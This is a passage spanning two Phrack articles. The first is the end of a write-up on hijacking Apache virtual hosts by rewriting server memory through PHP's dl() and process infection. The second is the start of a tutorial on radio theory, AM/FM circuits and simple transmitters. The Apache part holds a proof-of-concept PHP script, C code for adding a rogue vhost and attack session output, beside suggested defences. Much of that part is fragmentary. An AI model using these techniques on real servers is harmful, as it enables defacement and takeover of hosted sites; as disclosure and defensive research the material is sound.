
And now its very easy to change any vhost data.
NOTE: It depends on your compiler and compiler version which mov or push 
call returns the correct address. So you can also use the integrated 
disassembler to print the assembler code on your webpage.

--[ 5 - A sample attack

Imagine the following situtation:
There are three directories (for each virtual host one) and three
index.html files. Lets have a look at the content:

andi@blowfish:/home$ ls -al hack1/ vhost1/ vhost2/
total 16
drwxr-sr-x    2 andi     andi       4096 Apr 25 03:33 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 root     staff        20 Apr 25 02:19 index.html

total 332
drwxr-sr-x    2 andi     andi       4096 May  6 14:20 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 andi     andi        905 May  6 14:21 hoagie_apache_php.php
-rwxr-xr-x    1 andi     andi     317265 May  6 14:25
-rw-r--r--    1 root     andi         15 Apr 25 02:18 index.html

total 16
drwxr-sr-x    2 andi     andi       4096 Apr 25 03:31 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 root     andi         15 Apr 25 02:18 index.html
-rw-r--r--    1 andi     andi         15 Apr 25 03:31 test.html
andi@blowfish:/home$ cat hack1/index.html
andi@blowfish:/home$ cat vhost1/index.html
andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php
   if (php_hoagie_loaddl()) {
      hoagie_setvhostdocumentroot("", "/home/hack1");
   } else {
      php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
andi@blowfish:/home$ cat vhost2/index.html
andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf
    DocumentRoot /home/vhost1
    ErrorLog logs/
    CustomLog logs/ common

    DocumentRoot /home/vhost2
    ErrorLog logs/
    CustomLog logs/ common

So, before the attack we send some http requests and look for the correct

andi@blowfish:/home$ nc 8080
GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
andi@blowfish:/home$ nc 8080
GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html

So now lets start the attack...
andi@blowfish:/home$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
andi@blowfish:/home$ nc 8080
GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html


--[ 6 - Add a new Virtual Host

Instead of changing a virtual host we can also add a new one.
We know that Apache uses iphash_table to lookup the correct virtual host
corresponding to its IP address. So when we add a new virtual host we have 
to calculate the hash key first. This is done by the function

static ap_inline unsigned hash_inaddr(unsigned key)
    key ^= (key >> 16);
    return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;

In most cases there's already an object of type name_chain (*names)
because it's unusual that this IP address hasn't been used for another 
vhost too. So we go through the names list and add an object of type
name_chain. Before we can add a new object or variable we need to get the
value of pconf for ap_palloc(). ap_palloc is Apache's malloc function. It
uses pools to decide where to store data. The address of pconf is used in

Now we can create an object of type name_chain. Then we have to add a 
server_addr_rec object where IP address and port information are stored
(its used for IP address lookups). After that the more important object
will be added: server_rec. We have to set the server administrator, server
email, module config, directory config etc. Look at hoagie_apachephp.c in
function hoagie_addvhost():

  /* allocate memory for new virtual host objects and it's sub objects */
  nc = ap_palloc(pconf, sizeof(name_chain));
  nc->next = NULL;

  /* set IP address and port information */
  nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
  nc->sar->next = NULL;
  nc->sar->host_addr.s_addr = ipaddr;
  nc->sar->host_port = 8080;
  nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
  strcpy(nc->sar->virthost, ipaddrstr);

Lets start apache bench again and infect the apache processes.

--[ 7 - Keep it up

Now we can infect apache processes that are running at the moment. But
when there are many HTTP requests Apache creates also new processes that
are not infected. 

So what we do is we are redirecting the signal call for all running Apache
processes. This is done by Runtime Process Infection (the .so way ;)). 
Therefore after each new connection all running apache processes will be
infected too. For more details see [4]. But this can only be done when
Apache is not started by root because after a setuid() call with old uid is
not equal to new uid Linux clears the dumpable flag of that process. This
flag must be set if you want to ptrace() this process.

--[ 8 - Solution?

The best solution would be something like a read-only apache configuration
in memory.

For PHP you can simply disable the "dl()" function or enable safe mode for
all your virtual hosts. When you're using mod_perl too, you have to disable
the whole dl() family functions (see DynaLoader). Generally you can say 
that every builtin Apache module is vulnerable to this kind of attack (when
you can directly access memory locations). I implemented a proof of concept
code for PHP and ModPerl because nowadays these script languages are 
running on most of the apache web servers.

--[ 9 - References

  [1] Apache -

  [2] PHP -

  [3] ModPerl -

  [4] Runtime Process Infection -

--[ A - Appendix: The implementation

begin 644 hoagie_apache.tar.gz

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0b of 0x10

|=---------------------=[ The basics of Radio ]=-------------------------=|
|=------------------=[ shaun2k2 <shaun at rsc dot cx>  ]=----------------=|

0 - Introduction
  0.1 - Technical Terms

1 - Radio Basics
  1.1 - Radio Waves
  1.2 - Carrier
  1.3 - (RF) Frequency Bands
  1.4 - Wavelength
  1.5 - Transmission
  1.6 - Receiving

2 - AM Radio
  2.1 - What is AM Radio?
  2.2 - Modulation
  2.3 - Demodulation
  2.4 - Circuits
      2.4.1 - Receivers
      2.4.2 - Transmitters

3 - FM Radio
  3.1 - What is FM radio?
  3.2 - Modulation
  3.3 - Demodulation
  3.4 - Circuits

4 - Misc
  4.1 - Pirate Radio
  4.2 - Wireless Telephone Tapping
  4.3 - Jamming

5 - Conclusion

6 - Bibliography

--[ 0 - Introduction

    Ever since our discovery of radio, in around 1902, we have proceeded
to utilise it for many different purposes -- from sending others short
messages, to transmitting large and critical data sequences to other
computer systems.  As time has gone on, as useful a technology as
radio is, it is barely noticed anymore.  When most people think of
'radio', they picture a small black device sitting in their car,
which they will use to listen to their local radio stations during car
journeys.  On the other hand, very few people realise the true
usefullness of radio, often forgetting that their cellphones,
televisions, satellite TV and alarm systems all too use radio to complete
their task on a very regular medium -- radio is not just that boring
old thing gathering dust in the corner.

    This article is divided up into four parts.  The first part describes
the basic theory of radio, and examples to illustrate some of the
common day uses of it.  In parts two and three, AM and FM radio
details are outlined showing various different circuits to illustrate
how these principles can be applied to real-life, functioning
circuits.  Section four is a misc. section, presenting some
miscellaneous interesting points.  Some electronics knowledge is
useful in radio, though not totally necessary.  Most circuits
presented here are quite rough, and can be greatly improved upon in
many ways.

----[ 0.1 - Technical Terms

Below is a description of technical terms used throughout the article:

RF          -- Any frequency within the radio spectrum, which can be
               used by to transmit and receive radio signals.

Modulation  -- A technique used to package data into a radio signal
               which is of use to the destination radio receiver.

AM          -- Amplitude Modulation.  This involves shifting the amplitude
               of a radio signal's carrier very slightly in sympathy with
               a modulating signal.

FM          -- Frequency Modulation.  FM modulation involves shifting the
               frequency of a radio wave's carrier very slightly in
               sympathy with a modulating signal.

Receiver    -- Any device which is capable of receiving radio signals
               sent by a radio transmitter.

Transmitter -- A device which can transmit radio waves into the
               surrounding environment.

Aerial      -- A medium to large piece of wire which is used by either a
               radio transmitter or receiver to propagate or detect an
               incoming radio signal.  In a radio receiver or transmitter,
               an aerial acts as one plate of a capacitor, whilst the other
               plate is taken place by the Earth.

Antenna     -- See aerial.

Wireless    -- Refers to any technology which communicates data without the
               need for a wired connection.  Most wireless devices, such as
               cell phones, televisions, and others use radio, but several
               do use technologies such as infrared, which is not covered

Radio wave   -- A radio wave is an 'electromagnetic' wave, most commonly
                containing data to be received by a remote radio receiver.

Oscillator   -- Refers to an electronic circuit which 'oscillates', or
                'vibrates', to complete a certain task.  Oscillators are
                used in radio to transmit radio waves at a given
                frequency -- the rate at which the oscillator oscillates is
                the RF (see RF) at which the wave is transmitted.  Common
                oscillator circuits, also used in this paper, are LC
                oscillator circuits, and crystal-controlled oscillators.

oscillator   -- An oscillator circuit whos oscillation frequency is
                controlled by a 'crystal'. See oscillator.

LCoscillator -- An oscillator consisting of a capacitor and an inductor,
                whos frequency of oscillation is controlled directly by the
                capacitor, which is usually variable.  See oscillator.

Capacitor    -- Device which stores current as an electrical field.

Broadcast    -- A term used to describe transmitting radio waves into the

Wavelength   -- The physical distance between two waves on the same
                frequency, transmitted successively.

Bands        -- Frequency Bands are a range of frequencies used
                interchangeably or commonly for the same type of technology.
                For example, televisions often use the VHF band.

Frequency    -- Number of cycles per seconds. Frequency can be used to
                describe how often an oscillator oscillates.

Sidebands    -- When modulation of a carrier is applied, two extra
                bands are generated, both slightly higher and lower 
                than the carrier frequency, equating from the 'sum and 
                difference' of the carrier and audio
                frequency.  These two bands appear at either end of
                the RF carrier, hence the term 'sidebands'. 

--[ 1 - Radio Basics

----[ 1.1 -  Radio Waves

    Radio waves, otherwise referred to as 'radio signals', are simply
electromagnetic waves.  Radio waves are transmitted by devices called
'radio transmitters' or 'transmitters' for short.  Despite our wide and
many uses for radio waves as a whole, we actually known very little about
'radio'.  We do know, however, that radio waves are a form of energy, which
act exactly like they have been propagated as any other type of wave we
know of. For example, an audio wave.

    Radio waves are made up of three things; an electric field, a
direction, and a magnetic field.

    Despite our underlying ignorance of radio and its properties, we can
predict and use its properties to our advantage to undergo a wide variety
of different tasks -- and will probably do so for a long time to come.

----[ 1.2 - Carrier

    An 'RF carrier' can be thought of as the part of the radio wave which
can be modulated to 'carry' a data signal. An analogy to help with
understanding this is to think of turning on a flashlight and pointing it
towards a wall.  The light which is seen on the wall is the 'carrier'.

    Before and without modulation, the carrier of a radio wave contains no
data, and just contains peaks of an RF voltage.

                          peak voltage

                       ||\\    ///\    //\\
                       || \\  //  \\  //  \\
                       ||  \\\/    \\\/    \\

                             RF carrier

    Because sending radio waves with a carrier containing no data would be
almost useless, a carrier is 'modulated' to contain data. There are various
modulation schemes in wide use, but the two most common schemes are AM
(Amplitude Modulation) and FM (Frequency Modulation). These are discussed

----[ 1.3 - (RF) Frequency Bands

    As we can gather from listening to a variety of radio stations,
different forms of technology use an entirely different 'band' of radio
frequencies on which to send and receive their radio signals.

    The entire range in which radio signals are transmitted extends from
around 30KHz, up to about 30GHz.  This whole range of available RFs
(Radio Frequencies) is known as the 'radio spectrum'.  The radio
spectrum's range of frequencies, and their concurrent uses are shown
in the below table.

| Frequency         | Uses                       | Name                |
| 30KHz-300KHz      |   Long-wave radio, useful  | Low Frequency (L.F) |
|                   |   for long distance        |                     |
|                   |   communications           |                     |
| 300KHz-3MHz       |   Medium wave, local radio | Medium Freq (M.F)   |
|                   |   distant radio stations   |                     |
| 3MHz-30MHz        |   Short wave radio         |  High (H.F)         |
|                   |   Communications           |                     |
|                   |   Amateur radio            |                     |
| 30MHz-300MHz      |   FM Radio                 |  Very High (V.H.F)  |
|                   |   Police radio             |                     |
|                   |   Meteorology Comms        |                     |
| 300MHz-3GHz       |   Air Traffic Control      |  Ultra High (U.H.F) |
|                   |   TV                       |                     |
| 3GHz-30GHz        |   Radar Comms              |  Microwaves (S.H.F) |
|                   |   Satellites               |                     |
|                   |   Telecommunications (TV & |                     |
|                   |   telephone)               |                     |

    Since certain frequency bands are used to accomodate important
communications, such as the VHF band, it became illegal to transmit
radio waves at certain frequencies without a license. It was made so
because transmission of radio signals at important frequencies could
interrupt critical communication, such as communication between police
officers with their radio transmitter devices.

    All frequencies within the radio spectrum are invisible to humans.
Light frequencies which are visible to humans, i.e frequencies which
are present in the light spectrum, operate at *much* lower

----[ 1.4 - Wavelength

    Wavelength is the physical distance between a peak in one radio wave,
to the peak in another radio wave transmitted successively -- on the same
RF.  As a general analogy, the wavelength can be thought of as the distance
that the peak in a given wave will have travelled in the space of time for
one cycle. This can be calculated using the below simple formula.

|\ = V / F

* |\ = lamda
  V  = Velocity
  F  = Frequency

    Using this formula, the wavelength for an example scenario can be
calculated, when the RF is 27MHz.  The speed of light is 300 million
meters/second, which is therefore the velocity of the electromagnetic

|\ = 300,000,000 / 27,000,000

= 11.11r

    Looking at the above calculation, what can be gained? It seems that the
wavelength for waves transmitted in the example scenario is 11.11
(recurring) meters, so from this, it can be gathered that a peak in a
particular radio wave will have travelled 11.11r meters in the time it
took for one oscillation of the transmitting oscillator. But how can we
know how long this oscillation period takes? We can calculate this
using the formula '1 / f'.

1 / 27,000,000 = 0.0000000370r

    This means that within the miniscule time frame of 0.0000000370
(recurring) seconds, the peak within the radio wave should have travelled
approximately 11.11 (recurring) meters.

    Wavelength might seem quite a useless thing to calculate on its own,
but it comes in very useful when it comes to calculating suitable aerial
lengths for both radio transmitters and radio receivers. As a rule of
thumb, an ideal length for a radio aerial is around 1/2 of the signals
wavelength. This can be calculated very easily.

11.11 / 2 = 5.555 (roughly)

    From this calculation, we can gain the knowledge that a near ideal
radio transmitter/receiver aerial can be constructed to be of around 5.5
meters. Exact precision is not generally critical to the overall operation
of the radio transmitter/receiver. For example, where portability of
equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16
of the wavelength in meters is often used for the length of the radio aerial.

11.11 / 4 = 2.7775
11.11 / 8 = 1.38875
11.11 / 16 = 0.694375

    From this little experiment we can see that we can turn a length which
is considerably out of question due to portability desires, into a length
which is much more suitable, yet efficiency is not affected too much.

    This technique is very commonly employed to calculate sensible lengths
for radio aerials.  However, other techniques are also employed, especially
in the case of satillite TV.  Notice how TV satillite dishes house tiny
holes in the body of the dish? These holes are specially sized to ensure
that radio waves with wavelengths less than that associated with the
desired RFs (3GHz-30GHz) do not create an electrical current in the aerial
wire, as suitable radio waves do. Holes based upon the same principle can
also be found when looking inside a microwave oven.

----[ 1.5 - Transmission

    Perhaps one of the most difficult concepts to grasp in radio is how
radio waves are actually broadcast into the environment. As touched upon
previously, radio waves are transmitted using oscillators in electronic
circuits, and the rate at which the oscillator oscillates is the frequency
at which the radio waves are transmitted.

    As an example, we will focus on using an LC tuned oscillator circuit in
the radio transmitter circuit.  LC oscillators are made up of an inductor
(L), and a capacitor (C).  If we consider how a capacitor stores current,
we can come up with the conclusion that it is stored as an electric field
between two plates -- these two plates make up the capacitor. During one
oscillation (also known as a 'cycle') of the LC tuned circuit, all
available current is stored first in the capacitor as an electric field,
and then as a magnetic field associated with the LC circuit's inductor. 
After a *very* short time period (1/f), the magnetic field is turned back
into an electrical current, and begins to recharge the capacitor again. 
Because the inductor's magnetic field is beginning to change back into
electrical charge, the inductor turns another electrical field into a
magnetic field in order to counter-act the change. This continuous cycle of
quick changes keeps the current in the LC circuit flowing in the same
direction, driven by the current stored in the inductor. When the
inductor's charge eventually becomes zero, the capacitor becomes charged
again, but with the opposite polarity. After each oscillation (cycle),
energy loss has occured, but not all of the energy loss can be accounted
for as energy lost as heat from the inductor's coil. Thus, we can gather
that some energy has been 'leaked' from between the capacitor's plates, as
electromagnetic energy -- radio waves.

    If we consider this, we can conclude that the further apart the plates
in the capacitor are, the more energy is broadcast ('leaked') as radio
waves.  This must mean that if we have a capacitor with plates spaced
1 meter apart, more energy will be broadcast as radio waves than if the
capacitor had plates spaced a very small distant apart. By thinking even
deeper, we can conclude that to maximise 'leakage' of radio energy, a
capacitor is needed in the LC tuned oscillator circuit with plates spaced
at quite a distance apart.  It just so happens that for this task, to
maximise broadcast of radio waves, the world's largest plate can be used
to take the place of one plate of the capacitor -- the Earth!  The other
capacitor plate needs just be a suitably lengthed piece of wire, which is
an equally common sight -- this piece of wire is known as an 'aerial'!

    In real-world radio transmitters, oscillator circuits are used to make
a small current 'oscillate' in an aerial wire.  Because of the constant
change of energy form in the oscillator circuit, the current oscillating in
the length of the wire becomes electromagnetic and is radiated as radio energy.

    Back to the length of the aerial in relation to wavelength; this is
where the length calculated earlier comes in handy. From the knowledge
gained here, we can assume an adapted LC oscillator circuit as below.

      Capacitor           Inductor

            |                )
            |                )
           ---               )____________  Aerial
           ---               )
            |                )

    As a concept, using the adapted LC tuned oscillator circuit above, the
transmission of radio waves can be thought of like this; radio waves are
generated due to the propagation of an electric current in an aerial wire.
It is, as we have learnt, the 'leakage' of electromagnetic energy from
between the two plates of the capacitor which causes broadcasting of radio

    As oscillations occur in our LC tuned circuit, all available energy is
stored in the capacitor, followed by energy (electrical current) not leaked
as electromagnetic waves being fed into the inductor.  This whole process
measures one oscillation, and once one oscillation is over, the whole
process repeats itself again, and each time energy is being lost as radio
waves from the acting 'capacitor' (aerial and Earth). Therefore, it is the
rate at which the LC circuit is oscillating (the 'frequency') at that
determines the frequency at which the radio waves are broadcast at -- thus
determining the RF of the radio signals.

----[ 1.6 - Receiving

    The concept of receiving radio signals is based upon almost the opposite
of the concepts of transmitting radio waves. In similarity to radio
transmitters, radio receivers also use an aerial, but for a totally
different purpose; for detecting the radio signals in the environment. As
described previously, radio waves are a form of energy, propagated as
electromagnetic waves through the air. Thus, when radio signals transmitted
by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF
alternating current is generated in the aerial wire.  When a signal becomes
present in the aerial wire, 'wanted' radio frequencies are 'selected' from
the assortment of RF currents in the aerial, using a 'tuned circuit'.

    As an example, we'll focus on the LC tuned circuit as in the previous 
section, due to the simplicity of this circuit. RF current of the 'wanted'
frequency can be selected from amongst the other RFs by use of an LC tuned
circuit, which is set to resonate at the frequency of the 'wanted' radio
frequency.  This selection is done because the LC tuned circuit has low
impedance at any frequencies other than the 'wanted' frequency. Frequencies
other than the 'wanted' frequency are prevented from passing through the
circuit because they are 'shorted out' due to low impedance of the LC
circuit at any other frequency than the resonant frequency (the frequency
of the 'wanted' signals).

    Following the selection of correct radio frequencies from the other RF
signals, the radio receiver will usually amplify the signal, ready for
demodulating.  The technique which is adapted by the receiver for
demodulating the radio signal into the modulating signal is totally
dependant on the type of modulation being used in the received radio
wave.  In the case of an AM radio receiver, a selected signal will be
'rectified' and thus demodulated, using a low-drop germanium diode. This
process basically turns the alternating RF current back into a direct DC
current, which represents the power strength of the AM signal.  Next, the
RF component is generally removed by using a capacitor. The output product
of this process is a recovered modulating signal which can be fed to a pair
of high impedance headphones.  The diagram below represents how the
selected RF current is rectified by the diode.

  ||\\  //\\ ----------------------|>|--------------- ||\\ //\\
  || \\||  \\                                         || \\||  \\

AM Modulated Carrier  diode                     Modulating signal
                                              (RF carrier present)

    After being rectified by the diode, the AM radio signal is still not
suitable to be fed to an audio output, as the RF carrier is still present.
The RF carrier can be removed by using a single capacitor.

                                    | |
||\\  //\\  ------------------------| |---------------------  /\  /\
|| \\||  \\                         | |                      /  \/  \

Modulating signal                  capacitor          Modulating signal
                                                    (RF carrier removed)

    The output of the capacitor is a recovered modulating audio waveform
which is suitable for passing to an audio output device, such as a set
of headphones with a high impedance.

    This technique is likely to be the simplest way to create an AM radio
receiver, commonly known as the 'crystal set', used by the mass in the
1920s.  Other receivers are more often used to produce a higher quality of
audio output, such as TRFs (Tuned Radio Receivers) and Superhetrodyne

    The whole system model of a radio receiver at its most basic level can
be thought of as the below diagram.

         Modulated Radio Signal
(electric current generated in aerial wire by radio wave)
            Signal amplified
           Signal demodulated
          Modulating signal

    Although the techniques and components needed to achieve each step of
the diagram are different, most receivers stick to this sort of system. 
Other types of receivers and their circuits are discussed more indeph in
the section they are related to.

--[ 2 - AM Radio

----[ 2.1 - What is AM Radio?

    AM Radio refers to any form of technology which makes use of Amplitude
Modulation to modulate the 'carrier' with information. To package a radio
wave with often complex signals, the carrier of a radio wave is shifted in
power very slightly in sympathy with a modulating audio or data signal.
Next to morse code, AM is one of the simplest forms of modulation, and with
this, comes its disadvantages.

----[ 2.2 - Modulation

     AM Modulation involves nothing more than shifting the power of a radio
wave's carrier by tiny amounts, in sympathy with a modulating signal.
Amplitude, as you probably already knew, is just another word for 'power'.

     The simplicity of AM modulation can be demonstrated with a simple
diagram like the one below.

||\\    ///\    //\\
|| \\  //  \\  //  \\  --->  \  /\  /  --->     \\    \\
||  \\\/    \\\/    \\        \/  \/            \\ ///\\
                                                \\// \\
     RF Carrier            Modulating signal        AM signal

     As you can hopefully make out from the diagrams, whenever the
modulating signal (the signal which we are modulating) increases in
voltage, the amplitude (power) of the RF carrier is increased in sympathy
with the modulating signal.  When the voltage of the modulating signal
declines in voltage, the opposite of above happens.  After AM modulating
the carrier, the signal has usually twice the 'bandwidth' of the original
modulating signal.

----[ 2.3 - Demodulation

    When an AM designed radio receives a radio wave, as previously noted,
a small RF alternating current is generated in the aerial wire.  Because of
the AM modulation of the carrier applied by the sending transmitter, the
voltages in the carrier are larger and smaller than each other, but in
equal and opposite amounts.  As a result, to recover the modulating signal,
either the positive or the negative part of the modulated signal must be
removed. In the simplest AM radio receivers, the modulated signal can be
'rectified' by making use of a single germanium low-drop diode.

 \\  /// //    ---------------------|>|----------------- \\  ///  //
  \\// \\/                                                \\// \\//
AM radio signal                  diode         Modulating signal

    Here, part of the carrier has been removed, resulting in recovery, or
'rectification' of the modulating signal.

    Because the carrier frequency (the RF of the radio wave) is usually
significantly greater than the modulating frequency, the RF carrier can be
removed from the resultant modulating signal, using a simple capacitor.

\\        //                   |  | 
\\  ///  //    ----------------|  |----------------  \  /\  /
 \\// \\//                     |  |                   \/  \/

Modulating signal           capacitor             Modulating signal
(with RF carrier)                                (without RF carrier)

    By exposing the rectified signal to a capacitor, the audio signal (or
otherwise data signal) is smoothed, producing a higher quality of audible
output.  At this point, the modulating signal is more or less recovered.

    Although this technique of AM demodulation can be made to work to a
satisfactory level, the vast majority of commercial radio receivers now
adopt a design known as 'superhet', which I will explain briefly here.

    Superhet receivers are based upon the principle of 'mixing' two signals
to produce an intermediate frequency. The diagram illustrates a superhet
receivers operation.

Carrier in ---> Tuned circuit  ---> Mixer ---> IF amplifier ---> Detector 
              (selects correct RF)    |                           |
                                      |                           | 
                                      |                           |
                               Local oscillator               Audio Amp
                                                                |  |
    As we can see, superhet demodulation is significantly more complex than
'rectification'.  Superhet receiver systems, like the above system diagram,
works basically as follows.  First, an RF alternating current becomes
present in the circuit, because of the electromagnetic activity around the
aerial.  Signals of the correct radio frequency are selected via a tuned
circuit, and inputted into one input pin of the 'mixer'.  In the meantime,
the other input of the mixer is occupied by the 'local oscillator', which
is designed to be oscillating at a frequency just lower than the inputted
radio frequency. The output of the mixer is known as the 'Intermediate
Frequency' (IF), which is the difference between the local oscillator
frequency, and the frequency of the received AM radio signal. Next, the
'IF' is amplified, and passed to an 'envelope detector'. The output of the
envelope detector is the modulating audio signal (an AF -- Audio Frequency),
which is in turn amplified, and outputted to the user via a loudspeaker or
other audio output device.

    Since the local oscillator is almost always set to oscillate at a
frequency of approximately 465KHz *below* the frequency of the carrier
input, the output of the mixer will always be a 'carrier' of 465KHz --
which still carries the modulated information.  After the signal is
amplified by the IF amplifier(s) (there can be more than one IF amplifier),
the signal is now demodulated by the detector -- which is often just a
single diode.  As mentioned above, the modulating signal recovered by the
system can be fed to an amplifier, followed by an audio output device.

    As well as producing a higher quality of audio signal, superhet
receivers also eliminate the need to be able to tune multiple tuned
circuits in a TRF (Tuned Radio Receiver).  TRF designs become awkward
when it comes to tuning them into different radio frequencies because
of the many tuned circuits needed -- superhets overcome this problem
as they always 'know' what the collector load will be -- a 465KHz signal.
Superhet designs can also be adapted to work with FM radio signals, assuming
the 'detector' is changed to a suitable detector for FM signals (i.e phase detector).

----[ 2.4 - Circuits

    Since radio technology is a frequently discussed topic across the
Internet, many radio circuit design implementations are readily available,
ranging from very simple circuits, to quite complex ones. Here I present
some radio related circuits which most people with a bit of electronics
knowledge and the right components can build.

------[ 2.4.1 - Receivers

    Discussed above was the historic 'crystal set' radio receiver, which
allows anyone with a long enough aerial wire and a few components to
listen to AM radio bands.  Below is the basic crystal set radio
receiver circuit, which is very easy to construct.

    Aerial Wire             D1 *
        |            Q1
        |               ____|>|__________________
        |_____________|/             |          |
        |             |\             |          |
 _______|_____          |            |          |
(             |         |            |          |
( L1         --- C1 *   |        C2 ---         0  high impedance
(            ---        |           ---         0  headphones
(             |         |            |          |
(_____________|         |            |          |
        |               |            |          |
        |               | (not joined)

- C1 should be a variable capacitor to allow the station to tune into
  other frequency bands.

- D1 should be a low-drop germanium diode -- non-germanium diodes
  won't work.

    From previous discussion, we can figure out that the above 'crystal
set' AM radio receiver works as follows; incoming radio waves generate a
tiny alternating current in the aerial wire, from which 'wanted' radio
frequencies are selected, by the tuned LC circuit. Selected current passes
through a diode, which 'rectifies' the signals, thus demodulating them.
Before the diode, there is a simple transistor, which amplifies the
'wanted' frequency. The only reason for this is to make the quality of
sound slightly better. Any remaining RF components are removed using a
single capacitor -- this consequently has the effect of smoothing out the
signal. The product audio signal is passed to a set of headphones -- these
*must* be high-impedance, or nothing audible sounds on the headphones.

    As was noted earlier, this type of receiver was used frequently in the
1920s, and gave even newbie electronic enthusiasts of that time the
opportunity to build something that would be considered very useful at that
time.  To make decent use of the 'crystal set' circuit, around 60-70 turns
of wire around a rod of ferrious metal would create a good aerial.

    Designs like above are never used in commercial radio receivers anymore.
Excluding superhet receivers, TRFs are occasionally used to produce low
quality radio receivers. Below is a simple TRF receiver schematic.



           |              C5*   C6   +9V
           |        ________________________________________
           |        |     |    |       )                    |
           |        |    ---  ---      )  LC2              |-|
           |        |    ---  ---      )                 __| |
           |        |     |____|_______)                 | |_|
           |        |        |                           |  |   C8
          ---  C1   |        |            D1     C7      |  |___| |____0
          ---      _|_     Q1_____________|>|________| |_|_|/   | |    0
  LC1      |    R1 | |      /                  |     | |   |\ Q2
  _________|__     |_|  __|/                   |            |  High impedance
  |           )     |  |  |\_____              |            |  headphones
  |           )     |  |        |              |            |
  |           )     |  |        |              |            |
 ---  C2 *    )___| |__|_       |              |            |
 ---          )   | |    |      |              |            |
  |           )   C3     |      |              |            |
  |___________)          |      |    C4        |            |
                         |      |_____         |            |
                         |      |    |     R4  |-|      R6 |-|
                    R2  |-| R3 |-|  ---        | |         | |
                        | |    | |  ---        |_|         |_|
                        |_|    |_|   |          |           |
                     ____|______|____|_________ |___________|


- C2 should be a variable capacitor
- C5 and C6 should be variable capacitors
- Resistors of sensible values should suffice
- Capacitors of sensible values should suffice

     As in the 'crystal set' receiver, when a radio signal is 'picked up'
by the aerial, the proper frequency is selected using the LC tuned
circuit.  The signal is passed to a transistor amplifier.  However,
this time, the transistor amplifier has a 'tuned collector load',
because of the tuned LC circuit (LC2) at the collector leg of the
transistor.  Next, the signal is rectified, stored in a few capacitors
until enough current has collected, and is eventually fed to the user
with the high impedance headphones.  The use of the tuned collector
load at the transistor causes for the receiver to be more precise,
amplifying only the signals which are at the frequency of LC2's
resonant frequency.  As expected, this causes for a higher quality of
audio signal to be fed into the users headphones, making this a much
better radio receiver.

     A few things can be done to improve the above receiver, such as adding
yet more tuned amplifiers, and perhaps adding a few more resistors and
capacitors for safety and efficiency purposes.

------[ 2.4.2 - Transmitters

    All that we really need to do when designing a simple radio transmitter
is keep in mind that we require an oscillator -- either tuned or crystal
controlled -- and a series of amplifier circuits which boost our signal.
After these stages, all that is left is to make the signals oscillate in
the aerial wire.

Below is a simple radio transmitter schematic.

 |                        |                 |       |         |      |
 |                        |                 |       |         |      |
 |                     L1 )                 |       |         |   L3 |
 |                        )          R3    |-|   C3 |         |__    )
|-|  R1   Crystal         )                | |     ---        |  |   )
| |_________|_____________)                |_|     ---        |  | C5)
|_|        |||            |                 |       |         | ---  )
 |                        |_______| |_______|_AM ___|_______|/  ---  |
 |                       /        | |         Modulator     |\___|___|
 |__________| |________|/         C2                      Q2    |    |
 |          | |        |\   Q1                          (PNP)   |    )
 |          C1           |                                     ---   )
 |                      |-|                                 C4 ---   )
 M                      | |  R4                                 | L2 )
 |                      |_|                                     |    |
 |                       |                                      |    |
 |                       |                                      |    |

- TR2 is a PNP transistor
- M is a microphone

    This circuit works by oscillating at the frequency controlled by the
crystal (27MHz would be legal in the UK), amplifying the signal with tuned
collector loads at the transistor (TR1), and then by radiating the signal
off as radio waves by oscillating the signal in the aerial wire. Amplitude
modulation is added to the signal by varying the gain of the transistor
driver, by connecting it to the output of a microphone. The above circuit
is quite inefficient, and is likely to produce low quality signals, but it
can be used as a starting point to building a simple AM radio transmitter.
It's probably illegal to operate the above circuit on frequencies requiring
a license, so some countries *require* the circuit to be crystal controlled
on a 'model radio' RF.  One improvement to be made on the schematic is to
amplify the output of the microphone before feeding it to the transistor

    Possible devices which could apply the AM modulation are audio
amplifiers, or even op-amps.  An audio amp following the oscillator
would produce a higher quality, stronger signal, but would also provide
power gain (i.e amplitude gain), in sympathy with the audio signal produced
by the microphone.  This gain of amplitude due to the audio amp has
essentially applied Amplitude Modulation of the carrier signal,
because the power of the signal has been altered according to the
inputted audio signal (at the microphone).  An ordinary op-amp could
be used in a similar way, but by substituting the non-inverting input
pin with a suitable power supply.  Essentially, this would cause for
an outputted gain from the op-amp, according to the audio signal,
because the two inputs to the op-amp are compared, as such.

--[ 3 - FM Radio

----[ 3.1 - What is FM radio?

    FM radio just means any form of technology which makes use of radio
with FM modulated signals. To modulate a radio wave's carrier with
information, FM transmitters shift the frequency of the carrier very
slightly, to be in sympathy with a modulating signal.

----[ 3.2 - Modulation

    FM modulation consists of little more than shifting a radio wave's
carrier frequency very slightly in sympathy with a modulating signal's

Modulation of an example audio signal is shown in the figures below.

||\\    ///\    //\\
